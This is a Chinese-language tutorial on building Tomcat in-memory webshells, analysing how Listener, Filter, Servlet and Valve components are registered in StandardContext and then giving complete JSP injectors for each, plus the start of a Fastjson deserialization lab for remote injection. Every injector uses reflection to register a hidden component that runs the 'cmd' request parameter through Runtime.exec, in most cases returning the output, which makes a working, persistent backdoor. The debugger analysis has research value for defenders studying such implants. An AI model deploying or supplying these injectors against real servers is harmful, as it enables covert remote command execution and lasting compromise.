前言
关于tomcat的使用和介绍不属于这篇范畴,我们就不多叙述,这些不知本文重点,我们重点看内存马。
Context
这里有对一些专业名词做了一些了解,可以简单看一下。
Host: 文档里也有解释,这里通俗一点讲就是表示一个主机,比如,在同一个Host(主机)下,你可能有/app1、/app2等多个Web应用。
Context:Context表示一个Web应用程序,一个Host可以包含多个Context,Context是一个接口,你可以自己实现Context进行自定义,这种情况比较少,一般来讲直接用StandardContext,他提供了很多重要功能。
其实结合翻译知道,Context就代表一个Web应用,但是呢,他又是一个接口,所以tomcat给我们做了一个默认的实现类StandardContext,官方自己也说这个StandardContext提供了很多重要功能。
https://tomcat.apache.org/tomcat-8.5-doc/architecture/overview.html
我们看一下这个给我们提供的默认实现类StandardContext。
StandardContext描述说到:他是Context接口的标准实现。每个子容器(container )必须是一个Wrapper实现类,以处理定向到特定servlet的请求。
这里也提到了一些关键词container和Wrapper,这个是用来处理请求的。
https://tomcat.apache.org/tomcat-8.5-doc/api/org/apache/catalina/core/StandardContext.html
其实我们在下面学习内存马过程中,回过头来发现一直都是在对StandardContext进行操作,由于这个类是已经被实例化在内存中去了,只能通过反射去获取,去动态操作里面的内容。
想对整个请求流程了解的,我们可以回到前面页面,查看这个请求流程,建议访问连接查看,这里图片太小了,要放大看。
https://tomcat.apache.org/tomcat-8.5-doc/architecture/requestProcess.html
https://tomcat.apache.org/tomcat-8.5-doc/architecture/requestProcess/request-process.png
一个简单的java web项目
本地搭建一个java web环境方便我们学习
环境
ideaIU-2024.2.3.win
apache-tomcat-8.5.69
jdk1.8.0_66
新建java web项目
这里可以修改web访问根路径,我保持默认
点击启动,发现没有问题
接下来导入tomcat对应的lib库,这样我们就可以在代码中使用tomcat的一些类
Tomcat内存马
Listener内存马
分析
新建一个IndexListener类
继承ServletRequestListener,并实现里面的方法,这里有两个函数,一个是Listener初始化时调用,另一个是销毁时调用。
写上WebListener注解,这样不用在web.xml去配置。我们在初始化时输出一句话,并打上断点,使用debug模式启动。
启动后自动断住,我们全部放开,在我们进行访问的时候再观察。
现在项目已经正常运行,这里404是我们没有配置web默认页面,也没有任何业务路由可以访问。
我们访问任何路由都会进入到listener的里面进行处理,其实这点tomcat的文档有说明。
我们看一下堆栈调用情况,当前IndexListener#requestInitialized是通过StandardContext#fireRequestInitEvent里面调用的。
requestInitialized:16, IndexListener (com.listener)
fireRequestInitEvent:5982, StandardContext (org.apache.catalina.core)
invoke:129, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1651, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
我们在堆栈点一下,就能跳转过去,看见正在执行listener.requestInitialized(event);
我们想一下在StandardContext#fireRequestInitEvent里面这个listener是从哪来的,为什么他通过listener.requestInitialized(event); 就可以执行我们自己写的IndexListener#requestInitialized方法,这里往上看一下这个listener 是什么。
这里就做了如图所示的操作,简单来说就是获取listener数组,然后循环执行里面每一个listener#requestInitialized
跟踪一下listener数组,他是通过this.getApplicationEventListeners(); 获取的。
applicationEventListenersList是StandardContext的成员变量。
在本类StandardContext里面搜索了一下哪些地方调用或者初始化了这个applicationEventListenersList属性,发现下面两个方法:
setApplicationEventListeners和addApplicationEventListener方法可以对applicationEventListenersList进行赋值操作。
setApplicationEventListeners会清空已有的applicationEventListenersList再进行添加新的listeners进去
addApplicationEventListener是在原有的基础上进行添加。
很明显如果我们要对StandardContext的applicationEventListenersList进行操作,addApplicationEventListener更符合我们的预期
小结一下,每次有新的请求都会触发listener,然后执行StandardContext#fireRequestInitEvent,从StandardContext#applicationEventListenersList遍历已有的listener进行执行requestInitialized。我们也分析了在StandardContext里面有对应的操作applicationEventListenersList数组的方法。
StandardContext是一个特殊的类,在前言有讲到,对于不懂tomcat整个架构和流程的我们来说,把他当作一个全局对象来看待就行了。
我们只需要新建一个恶意的listener,通过反射获取StandardContext, 再通过反射调用addApplicationEventListener方法把我们listener添加进去。就能实现动态添加,实现listener内存马效果。
JSP编写
这里以jsp为例,在web目录新建一个addListener.jsp内容入下
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %><%--
Created by IntelliJ IDEA.
User: Administrator
Date: 2024/10/26
Time: 17:05
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
Field Frequest = request.getClass().getDeclaredField("request");
Frequest.setAccessible(true);
Request request1 = (Request) Frequest.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
%>
<%!
class vulListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
%>
<%
standardContext.addApplicationEventListener(new vulListener());
%>
</body>
</html>
内容分为三部分
1、获取StandardContext对象
<%
Field Frequest = request.getClass().getDeclaredField("request");
Frequest.setAccessible(true);
Request request1 = (Request) Frequest.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
%>
2、编写恶意的Listener
<%!
class vulListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
%><%!
class vulListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
%>
3、添加listener
<%
standardContext.addApplicationEventListener(new vulListener());
%>
启动成功后访问我们的jsp,看见没有报错说明代码正常运行。
访问任意路径带上cmd参数可以正常执行。
Filter内存马
分析
同分析Listener一样新建一个IndexFilter类,在doFilter里面下断点
通过debug启动后,访问注解里面填好的路径,成功触发断点,我们来分析堆栈
doFilter:16, IndexFilter (com.listener)
internalDoFilter:194, ApplicationFilterChain (org.apache.catalina.core)
doFilter:167, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:544, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:143, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1651, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
通过点击堆栈回到上一级调用的地方,发现是在ApplicationFilterChain#internalDoFilter 里面,和Listener的堆栈不一样,我们看一下这个ApplicationFilterChain#internalDoFilter都做些什么操作。
回到这个函数开头,这里的filters数组存的不是filter对象,而是 ApplicationFilterConfig对象,然后通过ApplicationFilterConfig#getFilter获取到filter执行我们自己的 IndexFilter#doFilter
看来Filter比较复杂一点,不能像之前一样简简单单获取对象进行添加。
现在想一想,我们要是能获取到ApplicationFilterChain#ApplicationFilterConfig,然后往这个数组添加一个ApplicationFilterConfig就可以实现动态注册。
我在这个ApplicationFilterChain里面搜索了关于filters的调用,发现他有一个addFilter方法,看样子我们可以用这个方法来添加。具体如下:
获取ApplicationFilterChain对象
新建ApplicationFilterConfig对象封装我们的filter
调用ApplicationFilterChain#addFilter添加ApplicationFilterConfig
现在就是获取ApplicationFilterChain和创建一个ApplicationFilterConfig
我们再看一下堆栈,往前还是在ApplicationFilterChain类里面,看一下这个ApplicationFilterChain#doFilter,平平无奇。
再往上看一下,来到了 StandardWrapperValve#invoke,这里有执行filterChain.doFilter,从这个函数开头看一下。
发现这里有创建一个ApplicationFilterChain,奇怪,这里要是每次都是动态创建的ApplicationFilterChain,那岂不是我获取这个ApplicationFilterChain没有用。
在这里打断点,我们跟进去看一下。
一开始这个ApplicationFilterChain是个空的,是通过req.getFilterChain()给他赋值,那么创建好的ApplicationFilterChain对象里面就有我们的filter了吗?显然不是得,接着往下看。
我们获取StandardContext对象,然后获取StandardContext#findFilterMaps得到一个filterMaps集合,对这个集合进行遍历。
这个filterMaps也是StandardContext的成员变量,是一个数组,他本身是一个内部类,有自己的add方法。
接着看循环,他是根据StandardContext#findFilterConfig方法传入一个filterMap.getFilterName()参数获取一个ApplicationFilterConfig对象,然后把这个ApplicationFilterConfig添加进入ApplicationFilterChain里面
下面还有一个循环,操作也是类似的,只不过if条件不一样,一个是根据requestPath进行判断,一个是根据servletName进行判断,不管他。
接着步进,filterMap.getFilterName()就是我们Filter的名字,看来这个是根据Filter名字获取对应的ApplicationFilterConfig
这个filterMap也不复杂,就是filter名字和对应的url路径。
context.findFilterConfig方法根据filterName获取对应的ApplicationFilterConfig,filterConfigs是一个map集合。
根据上图断点值来看,filterConfigs是一个key为filterName,value为ApplicationFilterConfig的map集合。
到此处思考一下,一开始我们是准备获取ApplicationFilterChain对象,然后创建一个ApplicationFilterConfig,调用ApplicationFilterChain#addFilter完成我们的filter添加。
但是现在来看,每次来到filter的处理都会创建一个新的ApplicationFilterChain,然后从StandardContext#findFilterConfig获取ApplicationFilterConfig进行动态创建ApplicationFilterChain
现在理一下思路,具体步骤如下:
获取StandardContext
新建ApplicationFilterConfig
新建一个FilterMap(自定义filter名字和自定义uri路径),添加进入StandardContext#findFilterMaps
往StandardContext#filterConfigs 添加键值对为自定义filter名字和对应第二步的ApplicationFilterConfig
思路清晰,剩下就是ApplicationFilterConfig如何创建,从这里点加入看一下这个类
有一个构造函数,接收两个参数,一个是Context, 另一个是FilterDef,这个Context很有可能是StandardContext,等一下试一下就知道了。看一下这个FilterDef
平平无奇的一个类,一些成员变量和一堆set get方法,这里有比较突出的filter相关成员变量,需要我们全部设置吗,我想filter和filterName肯定是要设置的,不然我的自己新建的filter往哪放,还有这个filterName在上面分析StandardContext#findFilterConfig的时候,他可是要根据filterName找到对应的ApplicationFilterConfig,至于这个filterClass我看下面的toString方法也会输出他,应该会用到吧,设置上也是顺手的事,问题不大。
private transient Filter filter = null;
private String filterClass = null;
private String filterName = null;
现在我们知道了怎么创建ApplicationFilterConfig,我们再回头看一下这个神奇的StandardContext类
StandardContext里面重要的这三个成员变量都是私有属性。
但是有实现public的addFilterMap和addFilterDef方法,不需要通过通过反射操作。就filterConfigs没有,这个需要我们反射获取。
最后理清思路如下,其实我们还是在修改StandardContext上的Filter内容,这个StandardContext到哪都有他,难怪tomcat说他实现了很多功能,确实厉害。
获取StandardContext
新建恶意filter
新建filterMap(filter名字和uri路径)和filterDef(filter名字,fliter类,fliterClass)
新建ApplicationFilterConfig(StandardContext, filterDef)
使用 StandardContext#addFilterMap 添加filterMap
使用 StandardContext#addFilterDef 和filterDef
获取filterConfigs最后完成添加
JSP编写
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.connector.Request" %><%--
Created by IntelliJ IDEA.
User: Administrator
Date: 2024/10/26
Time: 19:13
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
Field fRequest = request.getClass().getDeclaredField("request");
fRequest.setAccessible(true);
Request request1 = (Request)fRequest.get(request);
StandardContext standardContext = (StandardContext)request1.getContext();
%>
<%!
class VulFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
Process runtime = Runtime.getRuntime().exec(cmd);
String line;
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(runtime.getInputStream()));
while ((line = bufferedReader.readLine())!=null){
servletResponse.getWriter().write(line);
}
}
@Override
public void destroy() {
}
}
%>
<%
VulFilter vulFilter = new VulFilter();
String filterName = "VulFilter";
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(vulFilter.getClass().getName());
filterDef.setFilter(vulFilter);
Field FfilterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
FfilterConfigs.setAccessible(true);
Map<String,Object> filterConfigMap = (Map<String, Object>)FfilterConfigs.get(standardContext);
standardContext.addFilterDef(filterDef);
standardContext.addFilterMap(filterMap);
Constructor<ApplicationFilterConfig> declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = declaredConstructor.newInstance(standardContext,filterDef);
filterConfigMap.put(filterName,applicationFilterConfig);
%>
</body>
</html>
这里在new ApplicationFilterConfig发现他不是public类,那么只能通过反射来创建。
Servlet内存马
分析
新建一个IndexServlet类,加入注解,免web.xml配置。然后在service里面下断点。
以debug模式启动,访问uri路径,成功断下断点。我们来看一下堆栈情况。
看见这个堆栈,有点和我们之前Filter的堆栈相似,他怎么从doFilter里面执行过来的。
service:21, IndexServlet (com.listener)
internalDoFilter:232, ApplicationFilterChain (org.apache.catalina.core) [2]
doFilter:167, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:194, ApplicationFilterChain (org.apache.catalina.core) [1]
doFilter:167, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:544, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:143, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1651, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)
点击进入ApplicationFilterChain#internalDoFilter, 发现所出位置和之前Filter是一个方法里面。
往上查看,第95行就是我们分析Filter的入口点,只不过Filter在他前面执行。这也就是tomcat所说的Filter可以在Servlet前面做拦截操作的原因。
其实分析到这里我犯难了,这里不知道从来开始入手,后面我看来好多文章,
有的说从StandardContext#startInternal里面的fireLifecycleEvent打上断点,
有的讲从ContextConfig#webConfig开始分析。
其实这些分析都能到达最终点,主要是我不知道为什么要从这开始分析,你说前面Listener和Filter我还可以通过断点回溯知道怎么回事,这个他们一上来就提供入口点开始分析,我就觉得有点中途入道,不清不楚。
其实仔细想想前面我们分析Listener和Filter的时候,都绕不开StandardContext这个类,是否我们Servlet也是通过StandardContext存储以及修改。
我在这个类里面搜索了关于Servlet的相关内容,发现一个可疑的方法:StandardContext#addServletMappingDecoded
我在这个类下了断点,再次访问IndexServlet路由,发现没有击中断点,于是我重启tomcat,发现他是在tomcat启动阶段才能被执行,然后在我先过了一遍这个断点,看看这个参数是什么,结果发现有我们Servlet的名字,这个就值得我们仔细观察了。
这个参数是我们的uri路径和servlet的名字。看一眼堆栈。
addServletMappingDecoded:3204, StandardContext (org.apache.catalina.core)
addServletMappingDecoded:3196, StandardContext (org.apache.catalina.core)
configureContext:1338, ContextConfig (org.apache.catalina.startup)
webConfig:1115, ContextConfig (org.apache.catalina.startup)
configureStart:779, ContextConfig (org.apache.catalina.startup)
lifecycleEvent:299, ContextConfig (org.apache.catalina.startup)
fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util)
startInternal:5130, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)
addChildInternal:755, ContainerBase (org.apache.catalina.core)
addChild:729, ContainerBase (org.apache.catalina.core)
addChild:695, StandardHost (org.apache.catalina.core)
manageApp:1775, HostConfig (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invoke:291, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
createStandardContext:483, MBeanFactory (org.apache.catalina.mbeans)
createStandardContext:431, MBeanFactory (org.apache.catalina.mbeans)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invoke:291, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
invoke:468, MBeanServerAccessController (com.sun.jmx.remote.security)
doOperation:1471, RMIConnectionImpl (javax.management.remote.rmi)
access$300:76, RMIConnectionImpl (javax.management.remote.rmi)
run:1312, RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi)
doPrivileged:-1, AccessController (java.security)
doPrivilegedOperation:1411, RMIConnectionImpl (javax.management.remote.rmi)
invoke:832, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
dispatch:323, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 329630558 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
堆栈里面这几个类有点眼熟,在大佬们的分析文章有见过,说他们是在解析web.xml的内容,获取对应的servlet路径和资源,我们先看一下在StandardContext#addServletMappingDecoded方法里面能不能分析出东西来,不行我们再往上看。
这里一开始就进行this.findChild判断,要是我的servlet名字没有在里面就会抛出异常。
这个this.findChild具体跳转到了他的父类ContainerBase里面去了,children是一个map集合。
看一下这个变量都存的什么内容,这里面好像存的是我们的servlet来着,这个IndexServlet不就是我们自己的Servlet名字吗?
然后这个value存的是StandardWrapper,虽然这个map的value的是Container类型,但是这个Container是个接口,StandardWrapper是他的实现类,这个合情合理。
我看一下这个StandardWrapper类,在他的方法里面有设置我们的servletName、servletClass、servlet方法,大胆猜测一下这个StandardWrapper会不会就像我们在动态创建filter的时候所需要的filterDef一样。
理一下思路,现在我们是准备创建一个StandardWrapper设置我们的servlet进去,然后把这个StandardWrapper添加进入children集合里面,那么我们再执行StandardContext#addServletMappingDecoded方法帮我们设置uri和对应的servlet名字。
回头我们再看怎么操作这个children,之前有分析到ContainerBase#findChild ,既然有find那关于add势必要搜索一下看看有没有,这些命名都是挺规范的。
搜索add关键字,发现存在addChild方法,我们看见idea提示有4个重写,我们的StandardContext类也是继承了他。
这里对参数进行简单的类型判断, 然后有判断参数的name是否等于jsp,那肯定不等于jsp(下面有分析这个name就是自定义servletName),然后调用父类的addChild,父类的addChild做什么操作,看下面分析。
他又会执行this.addChildInternal(child); 看一下这个addChildInternal方法。
这里做了简单判断,根据child.getName()值判断在children里面是否已经存在,不存在才进行添加。也就是我们用StandardContext#addChild一样可以执行到这里。
我们点进去看一下getName是的值是怎么来,给我跳转到了接口,不慌,看一下他的实现类,有一个ContainerBase类,通过set,get方法操作的name变量。
这个类细心一点就知道,上面我们进入到StandardWrapper类的时候,看见他是有继承这个类的,所以我们新建的StandardWrapper的类也需要调用他的父类setName方法设置name。
回到StandardWrapper搜索是否地方执行了this.setName,没有的话就需要我们自己调用他的setName设置。果不其然,看见setServletName方法有设置,前面我们说什么来着,说他像创建filter的时候所需要的filterDef一样,要设置一堆和filter相关的方法。在这里就设置和servlet相关的方法: servletName、servletClass、servlet方法。
已经分析完了,我们总结一下动态创建servlet步骤。
获取StandardContext对象
新建一个恶意Servlet
新建一个StandardWrapper
设置StandardWrapper的servlet属性
执行StandardContext#addChil添加我们的StandardWrapper
执行StandardContext#addServletMappingDecoded方法添加路由映射
这里的话就有一句名言, 只要分析过tomcat的都会讲
"一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。"
"一个 Wrapper 对应一个 Servlet。负责管理 Servlet"
JSP编写
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.Container" %>
<%@ page import="java.util.HashMap" %><%--
Created by IntelliJ IDEA.
User: Administrator
Date: 2024/10/28
Time: 12:01
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
class VulServlet implements Servlet {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
Process exec = Runtime.getRuntime().exec(cmd);
String line;
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
while((line = bufferedReader.readLine()) != null){
servletResponse.getWriter().write(line);
}
}
@Override
public String getServletInfo() {
return "";
}
@Override
public void destroy() {
}
}
%>
<%
Field fReq = request.getClass().getDeclaredField("request");
fReq.setAccessible(true);
Request req = (Request)fReq.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
VulServlet vulServlet = new VulServlet();
StandardWrapper standardWrapper = new StandardWrapper();
String servletName = "VulServlet";
String servletUrl = "/v";
standardWrapper.setServlet(vulServlet);
standardWrapper.setServletClass(vulServlet.getClass().getName());
standardWrapper.setServletName(servletName);
standardContext.addChild(standardWrapper);
standardContext.addServletMappingDecoded(servletUrl,servletName);
%>
</body>
</html>
Valve内存马
分析
前面都是servletAPI接口实现的tomcat,稍微懂一点java web(在学校上过java课)都能知道 Listener Filter Servlet是干什么用的,但是这个valve,作为不是java开发者还真不明白。
通过tomcat的wiki搜索了解了一下这个valve是做什么操作的,首先它是可以插入到请求处理管道中,然后会链式调用所有的valve。
https://cwiki.apache.org/confluence/display/GMOxDOC30/Managing+Valve
第一次接触听起来有点模糊,我从知乎上找到了一篇文章说明这个Pipeline和 Valve,感兴趣的可以去看一看。
https://zhuanlan.zhihu.com/p/127824362
简单来说,Pipeline和 Valve是两个接口,对应的实现类封装了具体的请求处理和响应。并且还有贴心的addValve方法给我们添加新的 Valve,而且新添加的Valve始终会在最前面执行。
那么他可以处理过请求响应,是不是我们可以想上面Servlet一样处理我们的恶意代码请求来执行。
wiki里面有个超链接说明这个组件
https://tomcat.apache.org/tomcat-6.0-doc/config/valve.html
看来这个Valve在tomcat6就实现了,看他的介绍说是位于容器(Container)。前面我们在分析Servlet内存马的时候有多次提到ContainerBase类。
果不其然这里有对valve的操作
前面在servlet分析有讲过StandardContext继承了ContainerBase,所以我们执行StandardContext#addValve就可以了。
回到ContainerBase#addValve里面,我们点击valve类型 进去,这是一个接口,和文档描述的一样。接口内方法很少,invoke方法有两个参数是我们的request和response对象,看来我们要对请求处理就需要在invoke里面写。
总结一下,虽然我们不知道这个valve是个啥东西,通过百度大致了解了他可以处理我们的请求和响应,这是第一次看tomcat文档,也给我们提醒了一下,多看官方文档,说不定能找到更多能处理请求的方法,然后可以进行自己挖掘。
我们要获取StandardContext对象,自己新建一个valve,在invoke里面写请求处理代码,然后执行StandardContext#addValve完成注入。
获取StandardContext对象
新建一个valve
执行StandardContext#addValve方法添加
JSP编写
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.catalina.core.StandardContext" %><%--
Created by IntelliJ IDEA.
User: Administrator
Date: 2024/10/30
Time: 22:03
To change this template use File \| Settings \| File Templates\.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<br>
<title>Title</title>
<body>
<%
Field Freq = request.getClass().getDeclaredField("request");
Freq.setAccessible(true);
Request request1 = (Request) Freq.get(request);
StandardContext standardContext = (StandardContext) request1.getContext();
%>
<%!
class VulValve implements Valve{
@Override
public Valve getNext() {
return null;
}
@Override
public void setNext(Valve valve) {
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
Process exec = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null){
response.getWriter().write(line);
}
}
@Override
public boolean isAsyncSupported() {
return false;
}
}
%>
<%
VulValve vulValve = new VulValve();
standardContext.addValve(vulValve);
%>
</body>
</html>
反序列化注入内存马
上面学习也知道这几个内存马的实现和原理,现在还涉及到一个问题,就是实战利用,前面都是通过jsp代码来验证,一开始没有说为什么用这个,其实是为了方便写代码,能轻松获取StandardContext对象,因为jsp内置了request对象,我们可以通过反射获取StandardContext进行操作。
在实际工作中,我们没有这个条件,都是通过反序列化进行进入写入内存马,说到反序列化,这又是一个大板块,这里简单过一下,我们重点是讲内存马这个事。
首先JAVA中反序列化有多种,一个是原生的ObjectOutputStream和ObjectInputStream进行序列化和反序列化,还有一种是组件类的,像fastjon、shiro等。但是利用过程都是分两个部分,一个可利用链(gadget),一个恶意payload。
可利用链像java的有什么CC链、URLDNS等链,而那些组件也有自己独有的链,想fastjson经常打的jdbcrowsetimpl链,有了这些链我们就可以把自己的马的部分给加进去,这样就形成了完成的内存马。就可以通过具体情况打入进去。
Fastjson靶场搭建
首先需要搭建一个靶场,用作测试我们实战中通过反序列化漏洞远程攻击注入内存马,这里为了方便使用fastjson搭建一个项目。
如图所示新建一个项目,选择Web应用程序模板,选择1.8.0.66的jdk。
这里修改一下版本,选择JAVA EE 8,其他的不变就可以点击创建。
新的项目创建好如下,记得切换maven,官方仓库的maven下载速度太慢,我用的本地maven+阿里云镜像。
这里部署一下服务器,我们用到Tomcat8.5.69启动我们的服务。
这里有提示需要修复,我们点击修复,如下所示部署选择第一个。
这里我们的web环境部署完成,点击应用即可。
看一下项目目录,有个默认的servlet,我们启动项目。
访问hello-servlet是正常的。
下面我们新建一个Servlet,并在maven里面添加我们的漏洞版本fastjson
https://mvnrepository.com/artifact/com.alibaba/fastjson
